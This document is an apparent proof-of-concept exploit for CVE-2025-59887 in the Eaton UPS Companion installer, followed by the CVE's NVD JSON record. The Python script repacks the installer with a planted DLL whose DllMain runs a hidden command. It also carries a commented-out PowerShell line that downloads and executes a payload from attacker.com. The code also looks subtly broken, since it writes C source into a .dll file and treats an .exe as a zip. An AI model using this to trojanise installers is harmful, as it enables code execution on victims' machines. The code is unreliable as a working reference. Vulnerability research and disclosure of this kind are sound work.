CVE-2025-59887

# CVE-2025-59887 PoC - Malicious DLL Injection for Eaton UPS Companion Installer # This PoC demonstrates the library file injection vulnerability # Note: This is for educational and security research purposes only import os import zipfile import shutil import struct class EatonUPSExploit: def __init__(self, original_package, output_malicious): self.original_package = original_package self.output_malicious = output_malicious def create_malicious_dll(self, output_path): """Generate a malicious DLL that will execute arbitrary code when loaded""" dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Malicious code execution here // Spawn reverse shell or execute payload WinExec("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt", SW_HIDE); // Alternative: Download and execute payload // system("powershell -WindowStyle Hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\""); }} return TRUE; }} // Export functions that the original installer expects __declspec(dllexport) void InitializeComponent() {{}} __declspec(dllexport) int ValidateLibrary() {{ return 1; }} ''' with open(output_path, 'w') as f: f.write(dll_template) return True def inject_malicious_library(self, target_library='EatonUPSCore.dll'): """Inject malicious DLL into the software package""" temp_dir = 'temp_extracted' # Step 1: Extract original package with zipfile.ZipFile(self.original_package, 'r') as zip_ref: zip_ref.extractall(temp_dir) # Step 2: Replace target library with malicious version malicious_dll = os.path.join(temp_dir, 'lib', target_library) self.create_malicious_dll(malicious_dll) # Step 3: Repack the modified package (without integrity checks) with zipfile.ZipFile(self.output_malicious, 'w', zipfile.ZIP_DEFLATED) as zipf: for root, dirs, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zipf.write(file_path, arcname) # Cleanup shutil.rmtree(temp_dir) print(f"[+] Malicious package created: {self.output_malicious}") return True if __name__ == '__main__': exploit = EatonUPSExploit('EatonUPS_Setup.exe', 'EatonUPS_Setup_Malicious.exe') exploit.inject_malicious_library() print("[+] Attack vector: Modified installer with injected DLL") print("[+] Trigger: User runs the modified installer") print("[+] Impact: Arbitrary code execution with installer privileges")

{"cve": {"id": "CVE-2025-59887", "sourceIdentifier": "[email protected]", "published": "2025-12-26T07:15:45.047", "lastModified": "2026-02-18T14:37:55.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication of library files in the Eaton UPS Companion software installer could lead to arbitrary code execution of an attacker with the access to the software package. This security issue has been fixed in the latest version of EUC which is available on the Eaton download center."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eaton:ups_companion:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0", "matchCriteriaId": "7BC00703-4C6B-4A5B-AC24-01DE7F519FCB"}]}]}], "references": [{"url": "https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/etn-va-2025-1026.pdf", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}